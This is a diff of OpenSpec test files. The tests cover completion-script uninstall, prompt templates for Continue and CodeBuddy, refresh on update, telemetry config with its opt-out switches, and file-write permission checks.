const profileContentAfter = await fs.readFile(profilePath, 'utf-8');
|
||||
expect(scriptExistsAfter).toBe(false);
|
||||
expect(profileContentAfter).not.toContain('# OPENSPEC:START');
|
||||
});
|
||||
|
||||
// Skip on Windows: fs.chmod() on directories doesn't restrict write access on Windows
|
||||
// Windows uses ACLs which Node.js chmod doesn't control
|
||||
it.skipIf(process.platform === 'win32')('should return failure on permission error', async () => {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
await installer.install(mockCompletionScript);
|
||||
const targetPath = installer.getInstallationPath();
|
||||
const parentDir = path.dirname(targetPath);
|
||||
|
||||
// Make parent directory read-only
|
||||
await fs.chmod(parentDir, 0o444);
|
||||
const result = await installer.uninstall();
|
||||
|
||||
// Restore permissions
|
||||
await fs.chmod(parentDir, 0o755);
|
||||
|
||||
// On some systems, the access check fails which returns "not installed"
|
||||
// On others, the unlink fails which returns "Failed to uninstall"
|
||||
expect(result.success).toBe(false);
|
||||
expect(
|
||||
result.message === 'Completion script is not installed' ||
|
||||
result.message.includes('Failed to uninstall completion script')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('should handle uninstall when parent directory does not exist', async () => {
|
||||
const result = await installer.uninstall();
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.message).toBe('Completion script is not installed');
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
+59
-4
@@ -1121,21 +1121,21 @@ describe('InitCommand', () => {
|
||||
const proposalContent = await fs.readFile(codeBuddyProposal, 'utf-8');
|
||||
expect(proposalContent).toContain('---');
|
||||
expect(proposalContent).toContain('name: OpenSpec: Proposal');
|
||||
expect(proposalContent).toContain('description: Scaffold a new OpenSpec change and validate strictly.');
|
||||
expect(proposalContent).toContain('category: OpenSpec');
|
||||
expect(proposalContent).toContain('description: "Scaffold a new OpenSpec change and validate strictly."');
|
||||
expect(proposalContent).toContain('argument-hint: "[feature description or request]"');
|
||||
expect(proposalContent).toContain('<!-- OPENSPEC:START -->');
|
||||
expect(proposalContent).toContain('**Guardrails**');
|
||||
|
||||
const applyContent = await fs.readFile(codeBuddyApply, 'utf-8');
|
||||
expect(applyContent).toContain('---');
|
||||
expect(applyContent).toContain('name: OpenSpec: Apply');
|
||||
expect(applyContent).toContain('description: Implement an approved OpenSpec change and keep tasks in sync.');
|
||||
expect(applyContent).toContain('description: "Implement an approved OpenSpec change and keep tasks in sync."');
|
||||
expect(applyContent).toContain('Work through tasks sequentially');
|
||||
|
||||
const archiveContent = await fs.readFile(codeBuddyArchive, 'utf-8');
|
||||
expect(archiveContent).toContain('---');
|
||||
expect(archiveContent).toContain('name: OpenSpec: Archive');
|
||||
expect(archiveContent).toContain('description: Archive a deployed OpenSpec change and update specs.');
|
||||
expect(archiveContent).toContain('description: "Archive a deployed OpenSpec change and update specs."');
|
||||
expect(archiveContent).toContain('openspec archive <id> --yes');
|
||||
});
|
||||
|
||||
@@ -1151,6 +1151,61 @@ describe('InitCommand', () => {
|
||||
expect(codeBuddyChoice.configured).toBe(true);
|
||||
});
|
||||
|
||||
it('should create Continue slash command files with templates', async () => {
|
||||
queueSelections('continue', DONE);
|
||||
|
||||
await initCommand.execute(testDir);
|
||||
|
||||
const continueProposal = path.join(
|
||||
testDir,
|
||||
'.continue/prompts/openspec-proposal.prompt'
|
||||
);
|
||||
const continueApply = path.join(
|
||||
testDir,
|
||||
'.continue/prompts/openspec-apply.prompt'
|
||||
);
|
||||
const continueArchive = path.join(
|
||||
testDir,
|
||||
'.continue/prompts/openspec-archive.prompt'
|
||||
);
|
||||
|
||||
expect(await fileExists(continueProposal)).toBe(true);
|
||||
expect(await fileExists(continueApply)).toBe(true);
|
||||
expect(await fileExists(continueArchive)).toBe(true);
|
||||
|
||||
const proposalContent = await fs.readFile(continueProposal, 'utf-8');
|
||||
expect(proposalContent).toContain('---');
|
||||
expect(proposalContent).toContain('name: openspec-proposal');
|
||||
expect(proposalContent).toContain('invokable: true');
|
||||
expect(proposalContent).toContain('<!-- OPENSPEC:START -->');
|
||||
|
||||
const applyContent = await fs.readFile(continueApply, 'utf-8');
|
||||
expect(applyContent).toContain('---');
|
||||
expect(applyContent).toContain('name: openspec-apply');
|
||||
expect(applyContent).toContain('description: Implement an approved OpenSpec change and keep tasks in sync.');
|
||||
expect(applyContent).toContain('invokable: true');
|
||||
expect(applyContent).toContain('Work through tasks sequentially');
|
||||
|
||||
const archiveContent = await fs.readFile(continueArchive, 'utf-8');
|
||||
expect(archiveContent).toContain('---');
|
||||
expect(archiveContent).toContain('name: openspec-archive');
|
||||
expect(archiveContent).toContain('description: Archive a deployed OpenSpec change and update specs.');
|
||||
expect(archiveContent).toContain('invokable: true');
|
||||
expect(archiveContent).toContain('openspec archive <id> --yes');
|
||||
});
|
||||
|
||||
it('should mark Continue as already configured during extend mode', async () => {
|
||||
queueSelections('continue', DONE, 'continue', DONE);
|
||||
await initCommand.execute(testDir);
|
||||
await initCommand.execute(testDir);
|
||||
|
||||
const secondRunArgs = mockPrompt.mock.calls[1][0];
|
||||
const continueChoice = secondRunArgs.choices.find(
|
||||
(choice: any) => choice.value === 'continue'
|
||||
);
|
||||
expect(continueChoice.configured).toBe(true);
|
||||
});
|
||||
|
||||
it('should create CODEBUDDY.md when CodeBuddy is selected', async () => {
|
||||
queueSelections('codebuddy', DONE);
|
||||
|
||||
|
||||
@@ -133,7 +133,7 @@ Old slash content
|
||||
expect(updated).toContain('name: OpenSpec: Proposal');
|
||||
expect(updated).toContain('**Guardrails**');
|
||||
expect(updated).toContain(
|
||||
'Validate with `openspec validate <id> --strict`'
|
||||
'Validate with `openspec validate <id> --strict --no-interactive`'
|
||||
);
|
||||
expect(updated).not.toContain('Old slash content');
|
||||
|
||||
@@ -317,7 +317,7 @@ Old slash content
|
||||
expect(updated).toContain('# OpenSpec: Proposal');
|
||||
expect(updated).toContain('**Guardrails**');
|
||||
expect(updated).toContain(
|
||||
'Validate with `openspec validate <id> --strict`'
|
||||
'Validate with `openspec validate <id> --strict --no-interactive`'
|
||||
);
|
||||
expect(updated).not.toContain('Old slash content');
|
||||
|
||||
@@ -368,6 +368,80 @@ Old body
|
||||
consoleSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('should refresh existing Continue prompt files', async () => {
|
||||
const continuePath = path.join(
|
||||
testDir,
|
||||
'.continue/prompts/openspec-apply.prompt'
|
||||
);
|
||||
await fs.mkdir(path.dirname(continuePath), { recursive: true });
|
||||
const initialContent = `---
|
||||
name: openspec-apply
|
||||
description: Old description
|
||||
invokable: true
|
||||
---
|
||||
<!-- OPENSPEC:START -->
|
||||
Old body
|
||||
<!-- OPENSPEC:END -->`;
|
||||
await fs.writeFile(continuePath, initialContent);
|
||||
|
||||
const consoleSpy = vi.spyOn(console, 'log');
|
||||
|
||||
await updateCommand.execute(testDir);
|
||||
|
||||
const updated = await fs.readFile(continuePath, 'utf-8');
|
||||
expect(updated).toContain('name: openspec-apply');
|
||||
expect(updated).toContain('invokable: true');
|
||||
expect(updated).toContain('Work through tasks sequentially');
|
||||
expect(updated).not.toContain('Old body');
|
||||
|
||||
const [logMessage] = consoleSpy.mock.calls[0];
|
||||
expect(logMessage).toContain(
|
||||
'Updated OpenSpec instructions (openspec/AGENTS.md'
|
||||
);
|
||||
expect(logMessage).toContain('AGENTS.md (created)');
|
||||
expect(logMessage).toContain(
|
||||
'Updated slash commands: .continue/prompts/openspec-apply.prompt'
|
||||
);
|
||||
|
||||
consoleSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('should not create missing Continue prompt files on update', async () => {
|
||||
const continueApply = path.join(
|
||||
testDir,
|
||||
'.continue/prompts/openspec-apply.prompt'
|
||||
);
|
||||
|
||||
// Only create apply; leave proposal and archive missing
|
||||
await fs.mkdir(path.dirname(continueApply), { recursive: true });
|
||||
await fs.writeFile(
|
||||
continueApply,
|
||||
`---
|
||||
name: openspec-apply
|
||||
description: Old description
|
||||
invokable: true
|
||||
---
|
||||
<!-- OPENSPEC:START -->
|
||||
Old body
|
||||
<!-- OPENSPEC:END -->`
|
||||
);
|
||||
|
||||
await updateCommand.execute(testDir);
|
||||
|
||||
const continueProposal = path.join(
|
||||
testDir,
|
||||
'.continue/prompts/openspec-proposal.prompt'
|
||||
);
|
||||
const continueArchive = path.join(
|
||||
testDir,
|
||||
'.continue/prompts/openspec-archive.prompt'
|
||||
);
|
||||
|
||||
// Confirm they weren't created by update
|
||||
await expect(FileSystemUtils.fileExists(continueProposal)).resolves.toBe(false);
|
||||
await expect(FileSystemUtils.fileExists(continueArchive)).resolves.toBe(false);
|
||||
});
|
||||
|
||||
it('should refresh existing OpenCode slash command files', async () => {
|
||||
const openCodePath = path.join(
|
||||
testDir,
|
||||
@@ -933,7 +1007,7 @@ Old slash content
|
||||
expect(updated).toContain('name: OpenSpec: Proposal');
|
||||
expect(updated).toContain('**Guardrails**');
|
||||
expect(updated).toContain(
|
||||
'Validate with `openspec validate <id> --strict`'
|
||||
'Validate with `openspec validate <id> --strict --no-interactive`'
|
||||
);
|
||||
expect(updated).not.toContain('Old slash content');
|
||||
|
||||
@@ -1011,7 +1085,7 @@ Old slash content
|
||||
expect(updated).toContain('name: OpenSpec: Proposal');
|
||||
expect(updated).toContain('**Guardrails**');
|
||||
expect(updated).toContain(
|
||||
'Validate with `openspec validate <id> --strict`'
|
||||
'Validate with `openspec validate <id> --strict --no-interactive`'
|
||||
);
|
||||
expect(updated).not.toContain('Old slash content');
|
||||
|
||||
@@ -1089,7 +1163,7 @@ Old body
|
||||
expect(updated).toContain('argument-hint: old-hint');
|
||||
expect(updated).toContain('**Guardrails**');
|
||||
expect(updated).toContain(
|
||||
'Validate with `openspec validate <id> --strict`'
|
||||
'Validate with `openspec validate <id> --strict --no-interactive`'
|
||||
);
|
||||
expect(updated).not.toContain('Old body');
|
||||
|
||||
@@ -1130,7 +1204,7 @@ Old slash content
|
||||
expect(updated).toContain('name: OpenSpec: Proposal');
|
||||
expect(updated).toContain('**Guardrails**');
|
||||
expect(updated).toContain(
|
||||
'Validate with `openspec validate <id> --strict`'
|
||||
'Validate with `openspec validate <id> --strict --no-interactive`'
|
||||
);
|
||||
expect(updated).not.toContain('Old slash content');
|
||||
|
||||
@@ -1170,7 +1244,7 @@ Old body
|
||||
expect(updated).toContain('# OpenSpec: Proposal');
|
||||
expect(updated).toContain('**Guardrails**');
|
||||
expect(updated).toContain(
|
||||
'Validate with `openspec validate <id> --strict`'
|
||||
'Validate with `openspec validate <id> --strict --no-interactive`'
|
||||
);
|
||||
expect(updated).not.toContain('Old body');
|
||||
|
||||
@@ -1357,7 +1431,7 @@ More instructions after.`;
|
||||
expect(updated).toContain('## Custom Intro Title');
|
||||
expect(updated).toContain('Footer stays');
|
||||
expect(updated).not.toContain('Old body');
|
||||
expect(updated).toContain('Validate with `openspec validate <id> --strict`');
|
||||
expect(updated).toContain('Validate with `openspec validate <id> --strict --no-interactive`');
|
||||
});
|
||||
|
||||
it('should handle configurator errors gracefully for CoStrict', async () => {
|
||||
@@ -1413,7 +1487,7 @@ More instructions after.`;
|
||||
expect(updated).toContain('## Custom Intro Title');
|
||||
expect(updated).toContain('Footer stays');
|
||||
expect(updated).not.toContain('Old body');
|
||||
expect(updated).toContain('Validate with `openspec validate <id> --strict`');
|
||||
expect(updated).toContain('Validate with `openspec validate <id> --strict --no-interactive`');
|
||||
});
|
||||
|
||||
it('should not create missing Windsurf workflows on update', async () => {
|
||||
|
||||
@@ -0,0 +1,185 @@
|
||||
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
||||
import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
import * as os from 'node:os';
|
||||
|
||||
import {
|
||||
getConfigPath,
|
||||
readConfig,
|
||||
writeConfig,
|
||||
getTelemetryConfig,
|
||||
updateTelemetryConfig,
|
||||
} from '../../src/telemetry/config.js';
|
||||
|
||||
describe('telemetry/config', () => {
|
||||
let tempDir: string;
|
||||
let originalHome: string | undefined;
|
||||
let originalUserProfile: string | undefined;
|
||||
|
||||
beforeEach(() => {
|
||||
// Create temp directory for tests
|
||||
tempDir = path.join(os.tmpdir(), `openspec-telemetry-test-${Date.now()}`);
|
||||
fs.mkdirSync(tempDir, { recursive: true });
|
||||
|
||||
// Mock HOME/USERPROFILE to point to temp dir
|
||||
// On POSIX, os.homedir() uses HOME; on Windows it uses USERPROFILE
|
||||
originalHome = process.env.HOME;
|
||||
originalUserProfile = process.env.USERPROFILE;
|
||||
process.env.HOME = tempDir;
|
||||
process.env.USERPROFILE = tempDir;
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// Restore HOME/USERPROFILE
|
||||
process.env.HOME = originalHome;
|
||||
process.env.USERPROFILE = originalUserProfile;
|
||||
|
||||
// Clean up temp directory
|
||||
fs.rmSync(tempDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe('getConfigPath', () => {
|
||||
it('should return path to config.json in .config/openspec', () => {
|
||||
const result = getConfigPath();
|
||||
expect(result).toBe(path.join(tempDir, '.config', 'openspec', 'config.json'));
|
||||
});
|
||||
});
|
||||
|
||||
describe('readConfig', () => {
|
||||
it('should return empty object when config file does not exist', async () => {
|
||||
const config = await readConfig();
|
||||
expect(config).toEqual({});
|
||||
});
|
||||
|
||||
it('should load valid config from file', async () => {
|
||||
const configDir = path.join(tempDir, '.config', 'openspec');
|
||||
const configPath = path.join(configDir, 'config.json');
|
||||
|
||||
fs.mkdirSync(configDir, { recursive: true });
|
||||
fs.writeFileSync(configPath, JSON.stringify({
|
||||
telemetry: { anonymousId: 'test-id', noticeSeen: true }
|
||||
}));
|
||||
|
||||
const config = await readConfig();
|
||||
expect(config.telemetry).toEqual({ anonymousId: 'test-id', noticeSeen: true });
|
||||
});
|
||||
|
||||
it('should return empty object for invalid JSON', async () => {
|
||||
const configDir = path.join(tempDir, '.config', 'openspec');
|
||||
const configPath = path.join(configDir, 'config.json');
|
||||
|
||||
fs.mkdirSync(configDir, { recursive: true });
|
||||
fs.writeFileSync(configPath, '{ invalid json }');
|
||||
|
||||
const config = await readConfig();
|
||||
expect(config).toEqual({});
|
||||
});
|
||||
});
|
||||
|
||||
describe('writeConfig', () => {
|
||||
it('should create directory if it does not exist', async () => {
|
||||
const configDir = path.join(tempDir, '.config', 'openspec');
|
||||
|
||||
await writeConfig({ telemetry: { noticeSeen: true } });
|
||||
|
||||
expect(fs.existsSync(configDir)).toBe(true);
|
||||
});
|
||||
|
||||
it('should write config to file', async () => {
|
||||
const configPath = path.join(tempDir, '.config', 'openspec', 'config.json');
|
||||
|
||||
await writeConfig({ telemetry: { anonymousId: 'test-123' } });
|
||||
|
||||
const content = fs.readFileSync(configPath, 'utf-8');
|
||||
const parsed = JSON.parse(content);
|
||||
expect(parsed.telemetry.anonymousId).toBe('test-123');
|
||||
});
|
||||
|
||||
it('should preserve existing fields when updating', async () => {
|
||||
const configDir = path.join(tempDir, '.config', 'openspec');
|
||||
const configPath = path.join(configDir, 'config.json');
|
||||
|
||||
// Create initial config with other fields
|
||||
fs.mkdirSync(configDir, { recursive: true });
|
||||
fs.writeFileSync(configPath, JSON.stringify({
|
||||
existingField: 'preserved',
|
||||
telemetry: { anonymousId: 'old-id' }
|
||||
}));
|
||||
|
||||
// Update telemetry
|
||||
await writeConfig({ telemetry: { noticeSeen: true } });
|
||||
|
||||
const content = fs.readFileSync(configPath, 'utf-8');
|
||||
const parsed = JSON.parse(content);
|
||||
expect(parsed.existingField).toBe('preserved');
|
||||
expect(parsed.telemetry.noticeSeen).toBe(true);
|
||||
});
|
||||
|
||||
it('should deep merge telemetry fields', async () => {
|
||||
const configDir = path.join(tempDir, '.config', 'openspec');
|
||||
const configPath = path.join(configDir, 'config.json');
|
||||
|
||||
// Create initial config
|
||||
fs.mkdirSync(configDir, { recursive: true });
|
||||
fs.writeFileSync(configPath, JSON.stringify({
|
||||
telemetry: { anonymousId: 'existing-id' }
|
||||
}));
|
||||
|
||||
// Update with noticeSeen only
|
||||
await writeConfig({ telemetry: { noticeSeen: true } });
|
||||
|
||||
const content = fs.readFileSync(configPath, 'utf-8');
|
||||
const parsed = JSON.parse(content);
|
||||
expect(parsed.telemetry.anonymousId).toBe('existing-id');
|
||||
expect(parsed.telemetry.noticeSeen).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('getTelemetryConfig', () => {
|
||||
it('should return empty object when no config exists', async () => {
|
||||
const config = await getTelemetryConfig();
|
||||
expect(config).toEqual({});
|
||||
});
|
||||
|
||||
it('should return telemetry section from config', async () => {
|
||||
const configDir = path.join(tempDir, '.config', 'openspec');
|
||||
const configPath = path.join(configDir, 'config.json');
|
||||
|
||||
fs.mkdirSync(configDir, { recursive: true });
|
||||
fs.writeFileSync(configPath, JSON.stringify({
|
||||
telemetry: { anonymousId: 'my-id', noticeSeen: false }
|
||||
}));
|
||||
|
||||
const config = await getTelemetryConfig();
|
||||
expect(config).toEqual({ anonymousId: 'my-id', noticeSeen: false });
|
||||
});
|
||||
});
|
||||
|
||||
describe('updateTelemetryConfig', () => {
|
||||
it('should create telemetry config when none exists', async () => {
|
||||
await updateTelemetryConfig({ anonymousId: 'new-id' });
|
||||
|
||||
const configPath = path.join(tempDir, '.config', 'openspec', 'config.json');
|
||||
const content = fs.readFileSync(configPath, 'utf-8');
|
||||
const parsed = JSON.parse(content);
|
||||
expect(parsed.telemetry.anonymousId).toBe('new-id');
|
||||
});
|
||||
|
||||
it('should merge with existing telemetry config', async () => {
|
||||
const configDir = path.join(tempDir, '.config', 'openspec');
|
||||
const configPath = path.join(configDir, 'config.json');
|
||||
|
||||
fs.mkdirSync(configDir, { recursive: true });
|
||||
fs.writeFileSync(configPath, JSON.stringify({
|
||||
telemetry: { anonymousId: 'existing-id' }
|
||||
}));
|
||||
|
||||
await updateTelemetryConfig({ noticeSeen: true });
|
||||
|
||||
const content = fs.readFileSync(configPath, 'utf-8');
|
||||
const parsed = JSON.parse(content);
|
||||
expect(parsed.telemetry.anonymousId).toBe('existing-id');
|
||||
expect(parsed.telemetry.noticeSeen).toBe(true);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,135 @@
|
||||
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
|
||||
import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
import * as os from 'node:os';
|
||||
import { randomUUID } from 'node:crypto';
|
||||
|
||||
// Mock posthog-node before importing the module
|
||||
vi.mock('posthog-node', () => {
|
||||
return {
|
||||
PostHog: vi.fn().mockImplementation(() => ({
|
||||
capture: vi.fn(),
|
||||
shutdown: vi.fn().mockResolvedValue(undefined),
|
||||
})),
|
||||
};
|
||||
});
|
||||
|
||||
// Import after mocking
|
||||
import { isTelemetryEnabled, maybeShowTelemetryNotice, shutdown, trackCommand } from '../../src/telemetry/index.js';
|
||||
import { PostHog } from 'posthog-node';
|
||||
|
||||
describe('telemetry/index', () => {
|
||||
let tempDir: string;
|
||||
let originalEnv: NodeJS.ProcessEnv;
|
||||
let consoleLogSpy: ReturnType<typeof vi.spyOn>;
|
||||
|
||||
beforeEach(() => {
|
||||
// Create unique temp directory for each test using UUID
|
||||
tempDir = path.join(os.tmpdir(), `openspec-telemetry-test-${randomUUID()}`);
|
||||
fs.mkdirSync(tempDir, { recursive: true });
|
||||
|
||||
// Save original env
|
||||
originalEnv = { ...process.env };
|
||||
|
||||
// Mock HOME to point to temp dir
|
||||
process.env.HOME = tempDir;
|
||||
|
||||
// Clear all mocks
|
||||
vi.clearAllMocks();
|
||||
|
||||
// Spy on console.log for notice tests
|
||||
consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// Restore original env
|
||||
process.env = originalEnv;
|
||||
|
||||
// Clean up temp directory
|
||||
try {
|
||||
fs.rmSync(tempDir, { recursive: true, force: true });
|
||||
} catch {
|
||||
// Ignore cleanup errors
|
||||
}
|
||||
|
||||
// Restore all mocks
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('isTelemetryEnabled', () => {
|
||||
it('should return false when OPENSPEC_TELEMETRY=0', () => {
|
||||
process.env.OPENSPEC_TELEMETRY = '0';
|
||||
expect(isTelemetryEnabled()).toBe(false);
|
||||
});
|
||||
|
||||
it('should return false when DO_NOT_TRACK=1', () => {
|
||||
process.env.DO_NOT_TRACK = '1';
|
||||
expect(isTelemetryEnabled()).toBe(false);
|
||||
});
|
||||
|
||||
it('should return false when CI=true', () => {
|
||||
process.env.CI = 'true';
|
||||
expect(isTelemetryEnabled()).toBe(false);
|
||||
});
|
||||
|
||||
it('should return true when no opt-out is set', () => {
|
||||
delete process.env.OPENSPEC_TELEMETRY;
|
||||
delete process.env.DO_NOT_TRACK;
|
||||
delete process.env.CI;
|
||||
expect(isTelemetryEnabled()).toBe(true);
|
||||
});
|
||||
|
||||
it('should prioritize OPENSPEC_TELEMETRY=0 over other settings', () => {
|
||||
process.env.OPENSPEC_TELEMETRY = '0';
|
||||
delete process.env.DO_NOT_TRACK;
|
||||
delete process.env.CI;
|
||||
expect(isTelemetryEnabled()).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('maybeShowTelemetryNotice', () => {
|
||||
it('should not show notice when telemetry is disabled', async () => {
|
||||
process.env.OPENSPEC_TELEMETRY = '0';
|
||||
|
||||
await maybeShowTelemetryNotice();
|
||||
|
||||
expect(consoleLogSpy).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('trackCommand', () => {
|
||||
it('should not track when telemetry is disabled', async () => {
|
||||
process.env.OPENSPEC_TELEMETRY = '0';
|
||||
|
||||
await trackCommand('test', '1.0.0');
|
||||
|
||||
expect(PostHog).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should track when telemetry is enabled', async () => {
|
||||
delete process.env.OPENSPEC_TELEMETRY;
|
||||
delete process.env.DO_NOT_TRACK;
|
||||
delete process.env.CI;
|
||||
|
||||
await trackCommand('test', '1.0.0');
|
||||
|
||||
expect(PostHog).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('shutdown', () => {
|
||||
it('should not throw when no client exists', async () => {
|
||||
await expect(shutdown()).resolves.not.toThrow();
|
||||
});
|
||||
|
||||
it('should handle shutdown errors silently', async () => {
|
||||
const mockPostHog = {
|
||||
capture: vi.fn(),
|
||||
shutdown: vi.fn().mockRejectedValue(new Error('Network error')),
|
||||
};
|
||||
(PostHog as any).mockImplementation(() => mockPostHog);
|
||||
|
||||
await expect(shutdown()).resolves.not.toThrow();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -161,6 +161,99 @@ describe('FileSystemUtils', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('canWriteFile', () => {
|
||||
it('should return true for existing writable file', async () => {
|
||||
const filePath = path.join(testDir, 'writable.txt');
|
||||
await fs.writeFile(filePath, 'content');
|
||||
|
||||
const canWrite = await FileSystemUtils.canWriteFile(filePath);
|
||||
expect(canWrite).toBe(true);
|
||||
});
|
||||
|
||||
it('should return false for existing read-only file', async () => {
|
||||
const filePath = path.join(testDir, 'readonly.txt');
|
||||
await fs.writeFile(filePath, 'content');
|
||||
await fs.chmod(filePath, 0o444); // Read-only
|
||||
|
||||
const canWrite = await FileSystemUtils.canWriteFile(filePath);
|
||||
expect(canWrite).toBe(false);
|
||||
|
||||
// Cleanup: restore permissions so afterEach can delete
|
||||
await fs.chmod(filePath, 0o644);
|
||||
});
|
||||
|
||||
it('should return true for non-existent file in writable directory', async () => {
|
||||
const filePath = path.join(testDir, 'new-file.txt');
|
||||
|
||||
const canWrite = await FileSystemUtils.canWriteFile(filePath);
|
||||
expect(canWrite).toBe(true);
|
||||
});
|
||||
|
||||
it('should return true for non-existent file in non-existent nested directories', async () => {
|
||||
const filePath = path.join(testDir, 'deep', 'nested', 'path', 'file.txt');
|
||||
|
||||
const canWrite = await FileSystemUtils.canWriteFile(filePath);
|
||||
expect(canWrite).toBe(true);
|
||||
});
|
||||
|
||||
// Skip on Windows: fs.chmod() on directories doesn't restrict write access on Windows
|
||||
// Windows uses ACLs which Node.js chmod doesn't control
|
||||
it.skipIf(process.platform === 'win32')('should return false for non-existent file in read-only directory', async () => {
|
||||
const readOnlyDir = path.join(testDir, 'readonly-dir');
|
||||
await fs.mkdir(readOnlyDir);
|
||||
await fs.chmod(readOnlyDir, 0o555); // Read-only + execute
|
||||
|
||||
const filePath = path.join(readOnlyDir, 'file.txt');
|
||||
const canWrite = await FileSystemUtils.canWriteFile(filePath);
|
||||
expect(canWrite).toBe(false);
|
||||
|
||||
// Cleanup
|
||||
await fs.chmod(readOnlyDir, 0o755);
|
||||
});
|
||||
|
||||
it('should return true when path points to existing directory', async () => {
|
||||
const dirPath = path.join(testDir, 'some-dir');
|
||||
await fs.mkdir(dirPath);
|
||||
|
||||
const canWrite = await FileSystemUtils.canWriteFile(dirPath);
|
||||
expect(canWrite).toBe(true);
|
||||
});
|
||||
|
||||
it('should traverse multiple non-existent parent directories', async () => {
|
||||
const filePath = path.join(testDir, 'a', 'b', 'c', 'd', 'e', 'file.txt');
|
||||
|
||||
const canWrite = await FileSystemUtils.canWriteFile(filePath);
|
||||
expect(canWrite).toBe(true);
|
||||
});
|
||||
|
||||
it('should return false when intermediate path component is a file', async () => {
|
||||
// Create a file where a directory should be
|
||||
const fileInPath = path.join(testDir, 'blocking-file.txt');
|
||||
await fs.writeFile(fileInPath, 'content');
|
||||
|
||||
// Try to check a path that goes "through" this file
|
||||
const filePath = path.join(fileInPath, 'nested', 'file.txt');
|
||||
const canWrite = await FileSystemUtils.canWriteFile(filePath);
|
||||
expect(canWrite).toBe(false);
|
||||
});
|
||||
|
||||
it('should follow symbolic links to files', async () => {
|
||||
const realFile = path.join(testDir, 'real-file.txt');
|
||||
const linkFile = path.join(testDir, 'link-file.txt');
|
||||
await fs.writeFile(realFile, 'content');
|
||||
await fs.symlink(realFile, linkFile);
|
||||
|
||||
const canWrite = await FileSystemUtils.canWriteFile(linkFile);
|
||||
expect(canWrite).toBe(true);
|
||||
});
|
||||
|
||||
it('should handle platform-specific path separators', async () => {
|
||||
const filePath = FileSystemUtils.joinPath(testDir, 'subdir', 'file.txt');
|
||||
const canWrite = await FileSystemUtils.canWriteFile(filePath);
|
||||
expect(canWrite).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('joinPath', () => {
|
||||
it('should join POSIX-style paths', () => {
|
||||
const result = FileSystemUtils.joinPath(
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user